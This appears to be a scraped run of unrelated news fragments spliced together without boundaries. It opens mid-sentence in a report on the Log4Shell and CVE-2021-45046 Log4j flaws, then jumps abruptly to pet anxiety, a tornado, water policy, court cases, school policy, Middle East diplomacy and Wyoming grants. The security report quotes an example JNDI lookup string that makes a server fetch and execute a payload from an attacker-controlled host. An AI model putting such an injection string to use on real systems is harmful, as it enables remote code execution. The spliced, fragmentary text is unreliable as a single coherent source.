previous patch for the recently disclosed Log4Shell exploit was deemed as "incomplete in certain non-default configurations." The second vulnerability tracked as CVE-2021-45046 is rated 3.7 out of a maximum of 10 on the CVSS rating system and affects all versions of Log4j from 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0, which the project maintainers shipped last week to address a critical remote code execution vulnerability (CVE-2021-44228) that could be abused to infiltrate and take over systems. The incomplete patch for CVE-2021-44228 could be abused to "craft malicious input data using a JNDI Lookup pattern resulting in a denial-of-service (DoS) attack," the ASF said in a new advisory. The latest version of Log4j, 2.16.0 (for users requiring Java 8 or later), all but removes support for message lookups and disables JNDI by default, the component that's at the heart of the vulnerability. Users requiring Java 7 are recommended to upgrade to Log4j release 2.12.2 when it becomes available. "Dealing with CVE-2021-44228 has shown the JNDI has significant security issues," Ralph Goers of the ASF explained. "While we have mitigated what we are aware of it would be safer for users to completely disable it by default, especially since the large majority are unlikely to be using it." JNDI, short for Java Naming and Directory Interface, is a Java API that enables applications coded in the programming language to look up data and resources such as LDAP servers. Log4Shell is resident in the Log4j library, an open-source, Java-based logging framework commonly incorporated into Apache web servers. The issue itself occurs when the JNDI component of the LDAP connector is leveraged to inject a malicious LDAP request something like "${jndi:ldap://attacker_controled_website/payload_to_be_executed}" that, when logged on a web server running the vulnerable version of the library, enables an adversary to retrieve a payload from a remote domain and execute it locally. The latest update arrives as fallout from the flaw has resulted in a "true cyber pandemic," what with several threat actors seizing on Log4Shell in ways that lay the groundwork for further attacks, including deploying coin miners, remote access trojans, and ransomware on susceptible machines. The opportunistic intrusions are said to have commenced at least since December 1, although the bug became common knowledge on December 9. The security flaw has sparked widespread alarm because it exists in a near-ubiquitously used logging framework in Java applications, presenting bad actors with an unprecedented gateway to penetrate and compromise millions of devices across the world. Spelling further trouble for organizations, the remotely exploitable flaw also impacts hundreds of major enterprise products from a number of companies such as Akamai, Amazon, Apache, Apereo, Atlassian, Broadcom, Cisco, Cloudera, ConnectWise, Debian, Docker, Fortinet, Google, IBM, Intel, Juniper Networks, Microsoft, Okta, Oracle, Red Hat, SolarWinds, SonicWall, Splunk, Ubuntu, VMware, Zscaler, and Zoho, posing a significant software supply chain risk. "Unlike other major cyberattacks that involve one or a limited number of software, Log4j is basically embedded in every Java based product or web service. It is very difficult to manually remediate it," Israeli security company Check Point said. "This vulnerability, because of the complexity in patching it and easiness to exploit, seems that it will stay with us for years to come, unless companies and services take immediate action to prevent the attacks on their products by implementing a protection." In the days after the bug was disclosed, at least ten different groups have jumped in on the exploit bandwagon and roughly 44% of corporate networks globally already have been under attack, marking a significant escalation of sorts. Furthermore, criminal gangs acting as access brokers have begun using the vulnerability to gain initial foothold into target networks and then sell the access to ransomware-as-a-service (RaaS) affiliates. This also encompasses nation-state actors originating from China, Iran, North Korea, and Turkey, with Microsoft noting that the "activity ranges from experimentation during development, integration of the vulnerability to in-the-wild payload deployment, and exploitation against targets to achieve the actor's objectives." The large-scale weaponization of the remote code execution flaw has prompted the U.S. Cybersecurity and Infrastructure Security Agency (CISA) to add Log4Shell to its Known Exploited Vulnerabilities Catalog, giving federal agencies a deadline of December 24 to incorporate patches for the vulnerability and urging vendors to "immediately identify, mitigate, and patch affected products using Log4j." Sean Gallagher, a senior threat researcher at Sophos, warned that "adversaries are likely grabbing as much access to whatever they can get right now with the view to monetize and/or capitalize on it later on," adding "there is a lull before the storm in terms of more nefarious activity from the Log4Shell vulnerability." "The most immediate priority for defenders is to reduce exposure by patching and mitigating all corners of their infrastructure and investigate exposed and potentially compromised systems. This vulnerability can be everywhere," Gallagher added. "You don't want to make that the high point of the dog's day," Houpt said. "So when you walk in, you pretend you don't have a dog...until he is calm, you shouldn't give him any direct attention." The American Kennel Club suggests talking to your veterinarian or a certified trainer about basic obedience training before any stressful holiday situations arise. Medication can help but ask your vet For pets experiencing prolonged anxiety, it's a good idea to talk to a vet. Prescription anti-anxiety medications may help, especially for traveling, but it's important to remember that no two dogs are the same and a vet should be consulted about prescriptions and dosages. Pheromone products and CBD oil can also help calm animals, according to experts, but they recommend consulting a vet before giving your pet anything. If a teaching position comes open at GIPS that matches the PathBack graduates teaching field, they are guaranteed a job, but it is not required. Kort said any student graduating with an education degree is a win whether they come back to GIPS or not. A kid can be in this and say, Im in Lincoln, I got a job at (Lincoln Public Schools), they want to hire me, Im going to go there. Thats not a bad thing. Thats a good thing, we get educators into the field. If we can help them get there, thats even better. Mathew Ramirez was selected as a PathBack Program honoree in 2021. He is a freshman at University of Nebraska-Lincoln, working toward becoming a secondary social science teacher. Ramirez said hed be glad to come back to GIPS. Even if I hadnt been selected for PathBack I would have definitely considered returning back to GIPS, mainly because of the great education programs they provide at schools such as Grand Island Senior High School with their academy program, he said. When I had first heard about this transition I was pretty excited about it because I knew it would help me learn more about what being an educator truly is and the importance of becoming an educator. Support Local Journalism Your subscription makes our reporting possible. {{featured_button_text}} Hundreds of people gathered for a candlelight vigil Tuesday evening on the outskirts of Mayfield. Prayers went up that the brokenhearted will be wrapped up in Gods love and that people hold on to one another as the storm-stricken city begins its recovery. Scarlett Sears, an employee at the factory, said at the vigil she had not seen her co-workers since Friday. It's great for the ones that made it but heartbreaking for everything else, Mayfield, MCP, all of it, heartbreaking, she said. J.R. Ramsey, who has worked at the plant for 18 years, said he was still in shock. It's good to see the people that made it, he said. Conder said employees sheltered inside the building after the first siren, but were then told to go back to work about a half-hour later like it was a regular day. Some of us were just clueless, she added. Unless family called us and let us know ... we had no idea it was coming for us at all. Employees sheltered again after the 9 p.m. tornado siren. Conder was in a bathroom when the storm hit. The Interior Department joined the states and other water users in making the announcement. The stop-gap measure upstaged what water managers had hoped to be the focus of the Las Vegas gathering the start of negotiations for the next plan. That will have to wait, U.S. Bureau of Reclamation Commissioner Camille Touton told attendees over video conference. We need to focus on near-term operational challenges, she said. Exactly how much water each state will contribute under the 500+ Plan is still being negotiated. The three states' share of Colorado River water is delivered through the country's largest reservoir, Lake Mead. The lake fell below 1,075 feet (327 meters) above sea level this year, triggering mandatory cuts for Arizona, Nevada and Mexico in 2022. The states had volunteered to cut back on water before that threshold hit under a 2019 drought contingency plan. Arizona relied heavily on compensated water contributions from the Colorado River Indian Tribes and the Gila River Indian Community to fulfill its obligations under the drought plan. It's expected to do the same for the 500+ Plan. The crash occurred at approximately 3 p.m. Traffic had slowed as it was entering a construction zone on eastbound I-80. According to the patrol a semitrailer truck failed to slow down and struck a pickup, causing a chain reaction involving seven vehicles. KEARNEY Kenneth Kratt will spend the next 3-5 years in prison for the unintentional deaths of three people in a fiery crash on Interstate 80 in a construction zone in 2019. Kratt, 36, of Madera, California, was sentenced today in Buffalo County District Court on three counts of felony manslaughter for the deaths of two Lincoln men and a Schuyler man for driving recklessly and willful recklessly on Sept. 20, 2019. Judge John Marsh gave him 30 days credit for time already served. He pleaded no contest to the charges in October. Kratt faced up to 20 years in prison on each count. Kratts attorney, Charles Brewster of Kearney, argued for probation with jail time for his client. Prosecutor Patrick Lee argued for the maximum sentence. Kratt apologized to the 15 family members present for the hearing, and asked them, friends of the victims and the judge for forgiveness. Im truly sorry for what Ive done. I have no excuse. No reason for what happened, he said. I wish there was something I could to do to take it back. YORK Fernando Servin Jr., 20, a former York College student, has pleaded no contest to robbery, assault and theft in a case involving the attack of a man on campus. The case began when the York Police Department was dispatched to 6 Arbor Court in reference to an assault that took place on the college campus, according to the probable cause affidavit filed with the York County Court. The victim told police he was on a walk, listening to music, around 5 a.m., and was in the area of the colleges prayer chapel when someone grabbed him from behind and pushed him to the ground. Two individuals punched and kicked him while he was on the ground. He attempted to fight back but could not. He sustained superficial abrasions to both knees. He stated that being punched and kicked caused him pain. The two began going through his pockets but he did not have anything in them. They took the hat he was wearing, which was then on the ground, and ran away. The victim said there were four in the group. Only two assaulted him and deprived him of his property by force, the officers report says. He was able to provide descriptions of the individuals. He said he recognized all four as York College students as he works in the cafeteria and has seen them before. The former R7 building was purchased for the schools location, and Legacy Christian School was established as a nonprofit organization. Loberg and Reed are serving on the board of directors. The pair have no qualms with the Holdrege Public School system, including the teachers, administrators and school board members, but they were concerned about the possibility of local officials not having a voice in decisions. When does it become a non-local decision and they are forced to do some of those things that most people in this area dont want? This is just another option for families, Loberg explained. We are not doing this because we are displeased with anything the local school boards and administrators have done. Phelps County has some of the best elementary schools I think around, and a lot of the teachers still there taught me. I respect them. I trust them. Its giving that other option to the parents. Its nothing the school has done, but its what else we can offer? Reed added. What they plan to offer will be a Bible-based, nondenominational education for preschool through fourth grade. The five pillars of the school are Bible-Based, Discipleship-Driven, Parent-Partnership, Education-Focused and Legacy-Building. Pandemic Disruptions to Student Achievement Latest NWEA Data: COVID Impact Worse for Marginalized Students, High Poverty Schools Research Shows Declines May Be Stabilizing, But Students Still Lagging, Especially in Math Nonprofit K12 research firm NWEA on Tuesday released a new study that illustrates how the COVID-19 pandemic has disrupted student progress and how it has disproportionately impacted students of color and students in high-poverty schools. The report, Learning During COVID-19: An Update on Student Achievement and Growth at the Start of the 2021-22 School Year, is NWEAs third study analyzing how the pandemic has affected student reading and mathematics outcomes. The research shows student achievement at the beginning of the current school year at lower levels than typical years, with larger declines in math (a drop of 911 percentile points) than in reading (37 percentile points). While student achievement in every group lagged pre-pandemic norms, students in historically marginalized groups and in high-poverty schools show evidence of being impacted disproportionately more, particularly in grades 36, NWEA said. To complete the study, researchers at NWEA compared Fall 2021 MAP Growth assessment scores from 6 million U.S. public school students in grades 3-8 to scores from students in the same grade in Fall 2019, the most recent semester unaffected by COVID-19. The data showed significant levels of unfinished learning, particularly in math, but NWEA noted that the numbers have not worsened since the end of the 2020-21 school year, indicating the impacts of the pandemic may be stabilizing. Other Key Findings Fall 2021 math and reading achievement levels continue to lag historical averages, with larger declines in math. Student gains across the pandemic (from fall 2019 to fall 2021) lagged norms for pre-pandemic growth, especially in math. Students with lower pre-pandemic achievement showed lower normative gains than high achievers. Reading gains between fall 2019 and fall 2021 neared pre-pandemic growth rates; however, math gains were well below average. Examining the Data As shown in Figure 1, NWEA observed declines in fall 2021 achievement relative to fall 2019 ranging in magnitude from 3 to 7 percentile points in reading and 9 to 11 percentile points in math. These declines are larger than the declines observed in fall 2020 (when reading scores were approximately equivalent to a typical year and math scores were 5 to 10 percentile points lower) but are roughly consistent with those observed in NWEAs spring 2021 study. These findings suggests that school-related disruptions continue to have a more significant impact on students acquisition of math skills/content compared to reading and highlights the need for continued focus on supporting the development of math skills, NWEA said in its report. Figure 2 shows differences in percentile rank between fall 2021 and fall 2019 grouped by student grade and race/ethnicity. While median achievement declined for nearly all groups in reading and math, with larger relative declines in math, the pattern of these decreases is uneven across student groups. Specifically, Asian American and white students showed declines of a smaller magnitude relative to Hispanic, American Indian and Alaska Native (AIAN), and Black students, NWEA stated in its report. Consistent with our findings in the spring of 2021, we observed differences across race/ethnicity groups that are more pronounced for younger students, with the largest relative declines concentrated in the elementary grades. Figure 3 shows percentile-rank changes by school poverty level, illustrating that students in more economically disadvantaged schools were the most impacted by the pandemic, NWEA said. This unequal impact is particularly evident in the elementary grades, where we saw declines for students in high-poverty schools that are notably larger than the declines for same-grade students in low-poverty schools, the report stated. NWEA said its data further illustrates the inequitable nature of unfinished learning across the pandemic and shine light on the groups and subject areas that should be targeted for additional support as COVID recovery efforts continue in the 2021-22 school year and beyond. This latest research highlights that while students are back in classrooms it does not mean that all is back to pre-pandemic normal, even though there are early signs of some stabilization. The ongoing impact continues to disrupt learning and, especially, hit our most vulnerable students," said Chris Minnich, CEO of NWEA. "It is critical now more than ever that we direct funding where it is needed most and determine the necessary interventions to improve student outcomes, particularly for those who have suffered the greatest disruptions." NWEA's research team is part of the "Road to Recovery" effort in collaboration with the American Institutes for Research and the Center for Education Policy Research at Harvard University, to help districts better target COVID-10 recovery programs toward student groups most impacted by pandemic learning disruptions. The full research brief can be found online at NWEAs website. HERRIN - A man was arrested after leading police on a car chase through four communities. Michael Tucker was arrested after leaving a house allegedly known for drug activity and leading officers on a car chase through Herrin, Colp, Carterville, Energy and Crainville, Herrin police said this week. At 10:50 p.m. on Nov. 11, Herrin Streets Crime K-9 Detective J. Ehler attempted to perform a traffic stop on a Kia Soul, driven by Tucker, that had just left a known drug house. The vehicle failed to stop and fled westbound down Herrin Road to Colp with Ehler following in pursuit, police said. The chase continued through Colp, Carterville, Energy, Crainville and Carterville again. While in Carterville the second time, a passenger of the vehicle bailed out of the car on Pennsylvania Street, police said. Another officer bailed out of their patrol vehicle to pursue the passenger on foot while Ehler continued the vehicle pursuit of Tucker. Tucker allegedly pulled into a Carterville bank near Division Street where he was arrested by Ehler and other officers. Upon arresting Tucker, officers realized he had a warrant out for his arrest connected to a weapons offense out of Williamson County. Upon apprehending Tucker, Ehler returned to the scene of the initial attempted stop and located an allegedly tossed firearm near the side of the road. Tucker has been charged with one count each of disobeying a stop sign, reckless driving, aggravated unlawful use of weapons and driving while license suspended. He was also charged with two counts of aggravated fleeing / evading. The Williamson County, Carterville and Crainville police assisted in the incident. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 MURPHYSBORO If it fits, it ships, is the motto of one local church aiding relief efforts for the Dec. 10 tornado that could have easily hit Southern Illinois, Rick Pierson said. One swirl of a cloud 150 miles away and that (tornado) would have been right here, Pierson said. That could have hit Carbondale, Murphysboro, Marion, West Frankfort, Herrin or anything around here. If it had happened to us, you could almost bet thered be lines of trucks coming across the I-24 bridge headed this way. Murphysboro First United Methodist Church started accepting donations this past Sunday for those in Mayfield, Kentucky and Dresden, Tennessee impacted by the tornado. The night prior, Pierson, a member of the congregation, had contacted Pastor Marty McMichael to suggest they help those in neighboring states. McMichael was immediately on board, and after some research into who to contact on the ground in Mayfield, they announced it to the congregation. Immediate support The idea started with Piersons small horse trailer being the transport for supplies, but it quickly snowballed into something much bigger. Within minutes, Pierson had already received a text from a church member offering their 38-foot trailer. By the end of the day, there were stacks of supplies in the hallways of the facility. Were human beings. Were taught as Christians that you cant just pray for your brothers and sisters to be warmer and be fed and to be OK, McMichael said. We are to also try to find a coat and a plate of food. The word says we are called to bear the infirmities, the weaknesses of those who are hurt. When someone is in a bad situation we are called to help them carry that weight. Supplies started showing up at the church, often to the overwhelming surprise of Pierson. I think everybody realizes that very easily could have been us. The response from Murphysboro just amazed me. It restored my faith in humanity 12 times over," he said. The project has now concluded with one 38-foot trailer full of supplies heading to Mayfield and another heading to Dresden. Kentucky and Tennessees suffering Kentucky Gov. Andy Beshear said in a statement Monday that at least 64 deaths from the storm have been confirmed and he fears there will unfortunately be more. Eighteen of the people who died in the storm still have not been identified. Those dead from the tornado range in age from 5-months-old to 86-years-old. More than 100 people remain unaccounted for, according to the governors office. Three weather-related fatalities from the first storm wave in West Tennessee have been confirmed, according to the Tennessee Department of Health. These include two fatalities in Lake County and one fatality in Obion County. Downed trees and power lines have been reported in Decatur, Gibson, Henderson, and Madison counties. Weakley County reported damage in the Dresden area and is investigating the source of a water outage. Shelby County is reporting damage in the Arlington area. During the second storm wave, the SEOC received initial reports of damages and power outages stretching from Humphreys County through Clay and Macon counties in Middle Tennessee, according to the Tennessee Department of Health. Tri-State Tornado While Southern Illinois was spared from much of the damage caused by the storm, the incident still hits home for those of Southern Illinois. Many Murphysboro residents have heard from their families about the devastation that was the 1925 Tri-State Tornado. The tornado blew 219 miles across three states Missouri, Illinois and Indiana, but it didn't reach the peak of its strength until it arrived in Murphysboro. It was a rare EF-5 storm, the National Weather Service said. In Murphysboro alone, 234 were killed. Jay Graff said he believed this was one of the driving forces. I think everybody here has heard the history through their generations of the 1925 tornado and the devastation, he said. This is a way for us to help others who are in need. We got the word out and weve had a huge response. It took Murphysboro years to recover, Pierson said. He plans to stick by Mayfield and other areas that were hit as he sees endless potential in assisting people. Future donations The church has not decided if it will continue to accept donations or not, McMichael said. We have to be careful when doing this type of work, McMichael said. You cant do what you want for people. You have to do what people need. Sometimes you can actually bring stuff that can be more problematic. That statement has been echoed by plenty of organizations from the American Red Cross to local emergency departments. Once the Murphysboro First United Methodist Church delivers supplies to Mayfield and Dresden, they plan to speak to individuals on the ground to assess what they need. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Chicago Public Schools has directed school leaders to post signs the district says make it clear that our restrooms are open for use to anyone who feels comfortable in that space. CPS officials and health professionals answered questions about the new signs which have drawn criticism from some parents in an hourlong online session Tuesday. Boys+ facilities have stalls and urinals, while girls+ restrooms just have stalls. All who feel comfortable can use those bathrooms, but one CPS principal noted Tuesday that its not a free-for-all. Schools must also offer single-stall restrooms for any student. Staff members continue to have separate restrooms. I understand that people are interpreting this as like, Oh, anyone can use any bathroom now. Thats not the case. That is not whats happening, said Booker Marshall, LGBTQ+ and sexual health program manager in the CPS Office of Student Health and Wellness. Lets say a (transgender) boy wants to use a boys bathroom, but maybe adults in the building see them as a girl physically, right? Sometimes those students get blocked from using a bathroom that affirms them because of transphobia, because of prejudice. What this signage does is makes it really explicit for our young people that they know that they can use the bathroom that aligns with their gender identity. The district announced the new signage in a video posted to social media Nov. 27 and on Dec. 3 in a weekly newsletter emailed to families. Posting these temporary paper signs is the initial step we are taking while the district works on a long-term strategy for permanent restroom signage that is gender inclusive, Camie Pratt, CPS chief Title IX officer, wrote in a letter to parents. CPS representatives say the signage aligns with guidance published in June by the U.S. Department of Educations Office for Civil Rights affirming the rights of transgender students. Because the federal guidance was announced after the districts annual budget had been set, CPS said, the cost of permanent signage will be part of next years budget. School leaders are using their own budgets to cover the cost of printing temporary signs, CPS said. Signs were supposed to be up by Dec. 1. Christopher Graves, principal of LaSalle Language Academy, said during Tuesdays online forum that the school in the Old Town Triangle neighborhood ungendered its bathrooms for safety purposes earlier this year when it welcomed some students back for in-person learning. Instead of boys and girls, we had one and two, so that one teacher could take all her students to one restroom and one teacher to the other, Graves said. What we noticed from March, April, May and June of 2021, when we did the hybrid reopening, was there were no issues. Students used the restroom. They were respectful. They followed the rules. CPS says individual schools may make different choices about how to implement the policy. Some parents want it dumped altogether. A change.org petition demanding CPS rescind this ridiculous and disgusting policy has garnered more than 2,900 signatures. The petition was circulated by the Chicago Republican Party. Kelli Denard told the Tribune she heard about the new signs from that organization and opposes them. Even though my son and I share a bathroom, we dont use it while the other is in the bathroom, said Denard, whose son attends Gwendolyn Brooks College Preparatory Academy in the Roseland neighborhood. If CPS is all in on gender equity, then I expect to see signs for the offices where CPS employees work as well, in all of their offices. Whats good for the goose is good for the gander. The district indicated there are mens+ and womens+ signs as well. CPS says it continues to engage students in policy development on LGBTQ+ protections and supports. A 2019 youth risk behavior survey found about 23% of CPS students identify as LGBTQ. In her letter to parents, Pratt pointed to a national study that determined about 4 in 10 transgender students avoid bathrooms at school because they feel unsafe or uncomfortable. In 2016, CPS announced that transgender and gender-nonconforming students would be able to use restrooms and locker rooms that match their gender identity. CPS guidelines from 2014 affirmed students rights to use names and pronouns that reflect the gender they identify with. Derrick Little said Tuesday he graduated from Urban Prep Academy in 2014 and now works as a sexual health specialist with CPS Office of Student Health and Wellness even though hes often reminded of the homophobia he experienced as a student. We have a responsibility to our students past, present and future to address the harm they have experienced and continue to create a safer school district where they are able to thrive, Little said. Being able to use bathrooms without threat of violence or harassment is a human right, not a privilege. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 SPRINGFIELD, Ill. Illinois state Comptroller Susana Mendoza was among eight state financial officers on Monday urging the Treasury Department to reinstate interest-payment waivers on tens of billions of dollars loaned to states for unemployment rolls that exploded upon the debut of the COVID-19 pandemic. Mendoza, a Democrat, was the lead signatory on a letter sent to Treasury Secretary Janet Yellen maintaining that the waiver's Sept. 6 expiration has added to the burden states face in determining how to pay back more than $39 billion loaned since the tragic early days of the pandemic, when many states virtually shut down, putting hundreds of thousands of out work. "Taxpayers should not be on the hook for interest just because the pandemic is lasting longer than projected," Mendoza said. "States are wrestling with how best to replenish their COVID-depleted unemployment funds and they should not have to do that with the meter running." Illinois must repay $4.5 billion the federal government has advanced since early 2020 for skyrocketing unemployment benefits. But with the waiver's sunset in September, Illinois has accrued $26.7 million in interest, of which $6.3 million has been paid. Interest must be reimbursed by Sept. 30, 2022, and could end up setting the state back $100 million. Joining Mendoza in signing the letter were the chief financial officers of Colorado, Connecticut, New Jersey, New York, Massachusetts, Minnesota and Pennsylvania. All are run by Democratic governors except for Massachusetts, but a news release from Mendoza indicated she convened leaders of the hardest-hit states representing 75 million residents. In the letter, the group maintains that "the waiver deadline was originally determined under the assumption that the pandemic would likely be over and that the economy and state governments would be in recovery mode. "However, it is quite plain to see that this public health crisis is not over, and the benefit provided by this interest waiver is still necessary." The main irritant in facing renewed interest is that most states are still trying to determine how to repay billions of dollars in principal. The federal government prohibits repayment from the states' ordinary unemployment trust funds, which are subsidized by an assessment on employers. So they must find other parts of their budgets to squeeze out the debt. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 HAMMOND, Ind. The U.S. Attorneys office is recommending a 37-month prison sentence for a Chicago man who pleaded guilty Sept. 16 to the illicit possession of two firearms after a confrontation with police for refusing to extinguish his marijuana cigarette near the Indiana-Illinois border. Hammond police found the two guns June 28 in the possession of Clarence Brown, 30, outside the Walmart, 1105 Fifth Ave., Hammond. Indiana is one of only 14 states that hasnt legalized the smoking of marijuana, according to the National Conference of State Legislatures. Its recreational use became legal in neighboring Illinois last year and Michigan in 2018. Ohio legalized medical marijuana use in 2016. A 2018 poll of Indiana adults found more than 8 in 10 Hoosiers support some form of marijuana legalization. The Indiana Democratic Party and Hammond Mayor Thomas McDermott Jr. are now advocating for the legalization of marijuanas recreational use. State Sen. Rodney Pol, D-Ogden Dunes, said he too plans to introduce legislation that would legalize the possession of 2 ounces or less of marijuana for adults. He said it would remain a status violation for juveniles, like alcohol. Pol said a survey of Michigan marijuana dispensaries indicated half their customers were Hoosiers. He said postponing legalization would deny Indiana, an agricultural state, one of the biggest money-making crops currently on the market. State Sen. Eddie Melton, D-Gary, said this weekend he is preparing a bill that would do just that, although its prospects for passage in a Republican-dominated state legislature remain doubtful. Republican Indiana Gov. Eric Holcomb repeatedly has said he wont authorize it in the Hoosier State so long as it remains illegal at the federal level. However, Indiana has softened enforcement of marijuana possession in small amounts, according to John Cantrell, a veteran Lake County, Indiana, defense attorney. Area prosecutors rarely seek jail time, unless an arrest involves large, wholesale amounts. Most arrests end with charges dropped under a conditional discharge policy. Cantrell said, We are living in a time comparable to the days when of prohibition of alcohol when people would duck into speakeasies and gangsters, like Al Capone, controlled its distribution. It's shameful. Brown was never charged with marijuana possession. Instead, he must answer for the two firearms found in his car. One was a ghost gun under the drivers seat so-called because markings that would indicate its make, model and serial number had been obliterated. The second gun, found in a backpack in the cars back seat was a Taurus .357 Magnum revolver. Both guns were loaded with live rounds of ammunition. It was illegal for Brown to possess any firearms because he has been a felon since his 2011 conviction for armed robbery in Illinois. Brown told police after his arrest that he found the two guns only three hours earlier in the backyard of some Chicago residence and was intending to turn them over to Chicago police. But he never got to do that because he first drove to the Walmart, about 1,000 feet east of the Illinois-Indiana state line. The store is frequented by Chicago residents attracted to Walmarts discounted prices and Indianas lower taxes. Hammond police officer Coty Sparks, who was working as a security guard at the store, noticed Brown and a female smoking marijuana late that afternoon outside the pharmacy doors. Court papers state Brown has been smoking marijuana since age 11 with only one break in his habit the seven years and three months he spent in an Illinois prison for his armed robbery. He told court officials he also uses ecstasy, another recreational drug, on a daily basis. Sparks told the pair to put out their marijuana cigarettes and leave the property. Brown walked to his car in the parking lot and resumed smoking marijuana in plain sight of Sparks, who radioed for back up for help in escorting Brown away from the store. A routine search for firearms turned up the two weapons. He has remained in federal detention since his arrest in July. Assistant U.S. Attorney Kevin F. Wolff stated in a memo to the court this week that Brown should receive 37 months imprisonment for his weapons violations. No sentencing date is currently set for Brown. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 (TBTCO) - Sang 4/1/2022, Vien Kinh te tai chinh (Hoc vien Tai chinh) to chuc hoi thao dien bien thi truong, gia ca o Viet Nam nam 2021 va du bao 2022. Theo du bao cua gioi chuyen gia, nha quan ly, lam phat nam 2022 cung se thuc hien trong tam tay, khoang tu 2-3%, thap hon muc 4% Quoc hoi e ra. BEIRUT Interior Minister Bassam Mawlawi has sent a letter to the Directorate of General Security requesting that measures be taken to deport from Lebanon all non-Lebanese members of the main Bahraini opposition party al-Wifaq, the state-run National News Agency reported Wednesday. Al-Wifaq held a press conference in Beirut last week, angering Bahraini authorities. Heres what we know: Earlier Wednesday, Mawlawi received a phone call on Wednesday from his Bahraini counterpart, Rached ben Abdallah al-Khalifa, during which Mawlawi assured him of his refusal to allow Lebanon to be a platform for spreading hatred or hostility against any Arab country, especially [those] of the Gulf Cooperation Council, L'Orient Today's correspondent Hoda Chedid reported. Bahrains Shiite opposition group al-Wifaq, a movement that was disbanded in Bahrain by the authorities and which has close ties with Hezbollah, held a press conference in the southern suburbs of Beirut on Thursday to release its annual report on human rights violations in the kingdom. The Bahraini Ministry of Foreign Affairs on Sunday denounced the holding of the press conference by what it called hostile personnel designated on supporting and sponsoring terrorism lists and addressed a protest note to the Lebanese government and the Arab League. The statement also called on the Lebanese government to prohibit events that aim to offend the Kingdom of Bahrain and are inconsistent with the most basic diplomatic norms and the brotherly relations between the two people. According to our correspondent, Mawlawi discussed with his counterpart the measures taken by his ministry through various Internal Security Forces branches concerning the collection of information related to people who are part of groups or institutions that are in opposition to the brotherly Arab countries. Lebanon is trying to resolve an ongoing diplomatic crisis with the Gulf monarchies that erupted in October following the broadcast of comments by then Information Minister George Kurdahi on Riyadhs intervention in the war in Yemen. Kurdahi tendered his resignation as minister at the beginning of December. Prime Minister Najib Mikati hoped, after President Emmanuel Macron's visit to Riyadh as part of a Gulf tour at the beginning of December, for a resolution of the diplomatic crisis with Gulf countries. These hopes were buoyed after Saudi Arabias crown prince Mohamad Bin Salman called Mikati and the announcement of a French-Saudi humanitarian support mechanism for Lebanon. However, the kingdom has taken no steps to lift or lighten an import ban on Lebanese goods or to re-establish diplomatic ties. Meanwhile, the details of the support mechanism remain unclear. Against the backdrop of this dispute, the GCC called in a summit held in Riyadh on Tuesday for Beirut to carry out reforms and prevent Hezbollah from carrying out terrorist operations, referring to the smuggling of drugs from Lebanon to Saudi Arabia and the alleged discovery of cells affiliated with Hezbollah in multiple Arab countries. In October, representatives from all 50 states submitted community development proposals to the federal governments $1 billion Build Back Better Regional Challenge. Of the 529 applications four of which came from Wyoming 60 have been selected as finalists for up to $100 million in project funding, the Economic Development Administration (EDA) announced Monday. None of Wyomings projects advanced to the final round of review. The EDA has earmarked one-third of its $3 billion American Rescue Plan appropriation to support coal communities transition to new industries, and it named 12 coal communities across several states, including West Virginia and Utah, as finalists for $100 million in designated Build Back Better Regional Challenge funds. Most finalists proposals target economic sectors other than energy, such as water, health care and agriculture. Like Wyoming, Montana and North Dakota both right-leaning coal states were not represented among the finalists. Some Wyoming leaders feel the omission was personal. I am furious that this administration has turned its back on the number one coal-producing state, but given their track record to date, I am not surprised, Gov. Mark Gordon said in a Monday statement. Wyoming coal communities were absolutely ignored in our efforts to deploy new technologies. These decisions are clearly political and not based on merit. Wyoming Sens. John Barrasso and Cynthia Lummis and Rep. Liz Cheney also denounced the EDAs announcement, with Barrasso calling it a slap in the face to our coal communities, energy workers and their families. The states four proposals came from the Wyoming Energy Authority, the University of Wyoming, the city of Cheyenne and Energy Capital Economic Development in Campbell County. The Energy Authority hoped to facilitate the adoption of emerging technologies, like clean hydrogen and advanced nuclear, that would allow the state to build on its existing energy resources and infrastructure; the University of Wyoming wanted to advance entrepreneurship, tourism and computing; Cheyenne proposed constructing rail service between the city and Larimer County, Colorado, to boost access for rural communities and reduce congestion along I-25; and Campbell County aimed to establish a coal-to-products industry in order to keep its mines operating even after utilities move away from the fuel. All four projects will be eligible for future federal funding opportunities enabled by the infrastructure bill, including more specialized grant programs focused on technologies like hydrogen and nuclear. And not everyone in the state believes the EDAs decision not to advance the proposals as part of the Build Back Better Regional Challenge was a snub. The Economic Development Administration is a federal agency, and so tries to provide services across the United States, said Anja Bendel, program director for the Wyoming Energy Authority. Unfortunately for Wyoming, just the way we are, being so very rural our industries that we support dont fit the categories that the Economic Development Administration really is emphasizing. Developing the proposal gave the Energy Authority an opportunity to consider community issues individually and as part of the states energy transformation, Bendel said. The agency aims to sustain the momentum it built and the partnerships it established throughout the application process as it seeks alternate funding sources. Theres still a need for what we propose, she said. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 The business news you need Get the latest local business news delivered FREE to your inbox weekly. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. A national discussion on which books should be available to school-aged kids has landed in Natrona County. At a school board meeting on Monday night, seven district parents raised questions over books that cover topics including sex work and trafficking, race, poverty, gender and sexuality. The parents read short excerpts from a handful of books to the trustees and called for the volumes to be taken out of school libraries. Echoing concerns previously brought to libraries in Campbell County and schools in Laramie County, the parents said the books were disturbing, disgusting and part of a fringe agenda passed down from the federal government. District spokesperson Tanya Southerland said Mondays meeting was the first time concerns had been brought up about the books in question. While a few trustees agreed that the excerpts read at Mondays meeting contained offensive content, they also said the decision to remove a book from school libraries cant be made based on just a short passage. I think it is in part the responsibility of the parent to have these discussions with your kids, to be aware of what theyre reading, Trustee Debbie McCullar said. If the book is offensive, then bring it to us for censoring. The district has a defined process in place to review books flagged as potentially inappropriate or offensive, the trustees said. They encouraged parents with concerns to follow that procedure. According to the districts policies, someone wishing to challenge learning materials like books can file a formal request for reconsideration, which will be referred to the superintendent. A seven-person committee would then be appointed to review the request based on NCSDs guidelines. Several parents said they believed that the books had been added to school libraries as a condition of receiving federal funding, or as part of a program called social engineering. The district is still in the process of identifying which books are at issue, Southerland said, and cant say yet where the money for them came from. There is no curriculum in the district related to social engineering, a term which most commonly refers to manipulation tactics like phishing used to obtain personal secure information, Southerland said in an email on Tuesday. According to the districts current budget, 